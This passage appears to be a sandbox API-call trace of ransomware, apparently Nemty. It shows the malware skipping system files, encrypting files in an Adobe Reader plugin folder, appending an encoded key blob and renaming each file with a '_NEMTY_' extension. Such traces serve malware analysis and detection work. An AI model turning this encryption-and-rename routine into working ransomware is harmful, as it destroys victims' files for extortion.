(lpString1="QuickTime.NLD", lpString2="MSDOS.SYS") returned 1 [0191.423] lstrcmpiW (lpString1="QuickTime.NLD", lpString2="IO.SYS") returned 1 [0191.423] lstrcmpiW (lpString1="QuickTime.NLD", lpString2="boot.ini") returned 1 [0191.423] lstrcmpiW (lpString1="QuickTime.NLD", lpString2="boot.ini") returned 1 [0191.423] lstrcmpiW (lpString1="QuickTime.NLD", lpString2="AUTOEXEC.BAT") returned 1 [0191.423] lstrcmpiW (lpString1="QuickTime.NLD", lpString2="ntuser.dat") returned 1 [0191.423] lstrcmpiW (lpString1="QuickTime.NLD", lpString2="desktop.ini") returned 1 [0191.423] lstrcmpiW (lpString1="QuickTime.NLD", lpString2="CONFIG.SYS") returned 1 [0191.423] lstrcmpiW (lpString1="QuickTime.NLD", lpString2="RECYCLER") returned -1 [0191.423] lstrcmpiW (lpString1="QuickTime.NLD", lpString2="BOOTSECT.BAK") returned 1 [0191.423] lstrcmpiW (lpString1="QuickTime.NLD", lpString2="bootmgr") returned 1 [0191.423] lstrcmpiW (lpString1="QuickTime.NLD", lpString2="programdata") returned 1 [0191.423] lstrcmpiW (lpString1="QuickTime.NLD", lpString2="appdata") returned 1 [0191.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.424] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.NLD", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.424] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.NLD", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.NLD", lpUsedDefaultChar=0x0) returned 13 [0191.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.424] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.NLD", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.424] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.NLD", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.NLD", lpUsedDefaultChar=0x0) returned 13 [0191.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.424] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.NLD", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.424] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.NLD", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.NLD", lpUsedDefaultChar=0x0) returned 13 [0191.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.424] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.NLD", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.424] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.NLD", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.NLD", lpUsedDefaultChar=0x0) returned 13 [0191.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0191.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0191.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0191.424] Sleep (dwMilliseconds=0x5) [0191.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25becd50, dwHighDateTime=0x1d561e8)) [0191.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25becd50, dwHighDateTime=0x1d561e8)) [0191.425] GetLastError () returned 0x0 [0191.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.425] GetLastError () returned 0x0 [0191.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.426] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.426] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.426] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0191.426] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="N5eQgLHLiIvr2V25Ip8A7Ur+BKiH9z+2zyFHhQ0NAa1lg4oO5Lq0OItPX8/6YXwJ\r\nPWFylFMRPdeM8T4CsMUrfuvvu1kusCOQnqGR61cZ1HOxhhP7fA3w8TkBzN+eb8B7\r\nLN5rZ1tFz+Y8bxtY54SjpKAIbra+lPAiuUTX8Exq5/pVwPYyeSdvp6W9I/IidjI8\r\n1JR50qcLZv/vaWlg8NrXgpj/1tICXSlltl5Sl7gGqwjTToaYsmxRUaVyu7W/PdRi\r\nxNcrHb5xycKc0uond0DOOaPxNROhZVch4m4isfmoQOhWmC1LMCJAz1tfYDdCsweT\r\nvIcWgkRlYKipn8KSw+zgWw==\r\n", pcchString=0x653e29c) returned 1 [0191.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0191.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.426] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.426] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.426] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.426] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.428] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.428] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.428] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.428] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.428] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.428] CloseHandle (hObject=0x2f0) returned 1 [0191.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0191.429] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.429] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0191.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0191.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0191.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.429] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.NLD._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.nld._nemty_kgobjgd_")) returned 1 [0191.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0191.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0191.430] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d76f6e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="QuickTime.NOR", cAlternateFileName="QUICKT~1.NOR")) returned 1 [0191.430] lstrcmpiW (lpString1="QuickTime.NOR", lpString2=".") returned 1 [0191.430] lstrcmpiW (lpString1="QuickTime.NOR", lpString2="..") returned 1 [0191.430] lstrcmpiW (lpString1="QuickTime.NOR", lpString2="...") returned 1 [0191.430] lstrcmpiW (lpString1="QuickTime.NOR", lpString2="windows") returned -1 [0191.430] lstrcmpiW (lpString1="QuickTime.NOR", lpString2="$RECYCLE.BIN") returned 1 [0191.430] lstrcmpiW (lpString1="QuickTime.NOR", lpString2="rsa") returned -1 [0191.430] lstrcmpiW (lpString1="QuickTime.NOR", lpString2="NTDETECT.COM") returned 1 [0191.430] lstrcmpiW (lpString1="QuickTime.NOR", lpString2="ntldr") returned 1 [0191.430] lstrcmpiW (lpString1="QuickTime.NOR", lpString2="MSDOS.SYS") returned 1 [0191.430] lstrcmpiW (lpString1="QuickTime.NOR", lpString2="IO.SYS") returned 1 [0191.430] lstrcmpiW (lpString1="QuickTime.NOR", lpString2="boot.ini") returned 1 [0191.430] lstrcmpiW (lpString1="QuickTime.NOR", lpString2="boot.ini") returned 1 [0191.430] lstrcmpiW (lpString1="QuickTime.NOR", lpString2="AUTOEXEC.BAT") returned 1 [0191.430] lstrcmpiW (lpString1="QuickTime.NOR", lpString2="ntuser.dat") returned 1 [0191.430] lstrcmpiW (lpString1="QuickTime.NOR", lpString2="desktop.ini") returned 1 [0191.430] lstrcmpiW (lpString1="QuickTime.NOR", lpString2="CONFIG.SYS") returned 1 [0191.430] lstrcmpiW (lpString1="QuickTime.NOR", lpString2="RECYCLER") returned -1 [0191.430] lstrcmpiW (lpString1="QuickTime.NOR", lpString2="BOOTSECT.BAK") returned 1 [0191.430] lstrcmpiW (lpString1="QuickTime.NOR", lpString2="bootmgr") returned 1 [0191.430] lstrcmpiW (lpString1="QuickTime.NOR", lpString2="programdata") returned 1 [0191.430] lstrcmpiW (lpString1="QuickTime.NOR", lpString2="appdata") returned 1 [0191.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.430] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.NOR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.430] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.NOR", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.NOR", lpUsedDefaultChar=0x0) returned 13 [0191.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.431] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.NOR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.431] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.NOR", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.NOR", lpUsedDefaultChar=0x0) returned 13 [0191.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.431] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.NOR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.431] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.NOR", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.NOR", lpUsedDefaultChar=0x0) returned 13 [0191.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.431] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.NOR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.431] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.NOR", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.NOR", lpUsedDefaultChar=0x0) returned 13 [0191.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0191.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0191.431] Sleep (dwMilliseconds=0x5) [0191.441] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25c12eb0, dwHighDateTime=0x1d561e8)) [0191.441] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25c12eb0, dwHighDateTime=0x1d561e8)) [0191.441] GetLastError () returned 0x0 [0191.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.441] GetLastError () returned 0x0 [0191.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.441] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.441] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.442] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0191.442] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="ZXxF68kH47khyOozCvuoht4WXIS/CG0t070CU31/vy8f9+cOcBIy+Bhebp+PtH6t\r\n9CAkHfkMGnxZQU0SFHIMK1aPlD/E3Bo1nf3QxrBsQ8luGPlngxYATx1w+LY7rbaW\r\ny2lKU8BERgpwKmuxfyB4e4/K/TplXFvhxVTbd7xum9ikoxOTR1/DzXeeayP7vKad\r\nmFT3aWtigU8wugFh+o34Ic+sx8IMBkthH7Gv1NyKKsS9hu6BiRRq+vJQ1HSqxg+i\r\nuuXjWC2AvLP7EGxUaP/C3WKQ4OExNA1RdpI0mRNAUoUJMTF05NuEAgjyKgR/DtpL\r\nnCh/nJAlP4bf3mFNLUGLnw==\r\n", pcchString=0x653e29c) returned 1 [0191.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0191.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.442] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.442] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.442] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.442] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.444] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.444] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.444] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.444] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.444] CloseHandle (hObject=0x2f0) returned 1 [0191.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0191.444] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.444] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0191.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0191.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0191.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.445] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.NOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.nor._nemty_kgobjgd_")) returned 1 [0191.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0191.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: 